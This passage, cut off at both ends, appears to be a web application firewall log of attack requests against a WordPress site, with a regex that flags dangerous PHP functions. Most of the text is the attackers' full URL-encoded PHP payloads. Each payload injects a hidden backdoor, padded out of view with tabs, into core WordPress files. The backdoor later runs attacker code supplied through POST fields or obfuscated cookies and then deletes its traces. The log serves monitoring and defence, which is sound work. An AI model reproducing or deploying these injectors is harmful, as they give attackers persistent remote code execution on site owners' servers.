3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:53:22","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> oM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:4575\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo00vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\noM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:25","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:4310\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nJW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:27","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Jz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-length:4310\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFabvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nJz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20